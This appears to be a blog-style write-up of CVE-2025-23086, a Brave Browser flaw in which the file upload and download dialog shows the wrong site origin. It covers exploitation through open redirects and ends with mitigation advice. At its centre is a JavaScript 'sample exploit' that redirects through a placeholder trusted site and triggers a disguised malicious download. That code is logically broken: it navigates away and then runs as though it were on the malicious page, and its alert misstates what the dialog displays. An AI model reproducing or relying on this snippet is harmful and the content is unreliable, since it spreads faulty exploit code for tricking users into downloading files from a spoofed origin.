A new vulnerability, identified as CVE-2025-23086, has been discovered affecting Brave Browser on most desktop platforms, specifically versions 1.70.x-1.73.x. The vulnerability can cause the browser to wrongly attribute the site's origin when a user is prompted to upload or download a file. In combination with open redirect vulnerabilities found on a trusted site, a malicious site may exploit this issue to make it appear like the download originated from the trusted site rather than the malicious source.

Details of the vulnerability

The root cause of the CVE-2025-23086 vulnerability is the inability of Brave Browser to correctly infer the origin of a site when it uses the OS-provided file selector dialog for file uploads or downloads. This can give an incorrect impression to the user about the origin of the file they are interacting with.

Exploitation of the vulnerability

To exploit this vulnerability, an attacker can use an open redirect on a trusted site to redirect the user to a malicious site. This malicious site can then initiate the file upload or download, which will appear as if the trusted site initiated the action. Consequently, the user may unknowingly download a file from an untrusted source, thinking it's coming from a trusted site.

Code snippet illustrating the vulnerability

// Sample code to exploit the CVE-2025-23086 vulnerability
async function exploitVulnerability() {
  const trustedSiteRedirectURL = 'https://www.trusted-site.com/redirect?url=';;
  const maliciousSiteURL = 'https://www.malicious-site.com/exploit';;
  
  // Redirect to a malicious site from a trusted site with an open redirect
  window.location.href = trustedSiteRedirectURL + encodeURIComponent(maliciousSiteURL);
  
  // On the malicious site, initiate the download
  const downloadLink = document.createElement('a');
  downloadLink.href = 'data:application/octet-stream;,' + encodeURIComponent('malicious-content');
  downloadLink.download = 'important-document.docx';
  document.body.appendChild(downloadLink);
  downloadLink.click();

  // Misleading origin appears in the file selector dialog
  alert('This download appears as if it comes from ' + trustedSiteRedirectURL);
}

exploitVulnerability();

Original references and resources

1. Brave Browser – GitHub Repository: https://github.com/brave/brave-browser
2. Common Vulnerabilities and Exposures (CVE) List: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-23086
3. Security advisory for CVE-2025-23086: https://brave.com/security-advisory-cve-2025-23086

Mitigation and remediation

The Brave Browser team has been made aware of the CVE-2025-23086 vulnerability and has promptly addressed the issue in the newer browser versions. Users are strongly advised to update their Brave Browser installation to the latest version available. Maintaining an up-to-date browser ensures that security patches are applied, preventing exploitation of known vulnerabilities like this one. Additionally, users should always be cautious when downloading files from the internet and refrain from clicking unverified links to avoid potentially harmful consequences.

Conclusion

The CVE-2025-23086 vulnerability in Brave Browser highlights the importance of keeping your browser updated and staying informed about the latest security advisories. By combining open redirects with this vulnerability, an attacker can convince users to download or upload files from a seemingly trusted origin, exposing them to potential harm. It's crucial to update your Brave Browser and remain vigilant when downloading files or clicking links from unknown sources. Stay safe online!

Timeline

Published on: 01/21/2025 05:15:07 UTC
Last modified on: 01/21/2025 15:15:14 UTC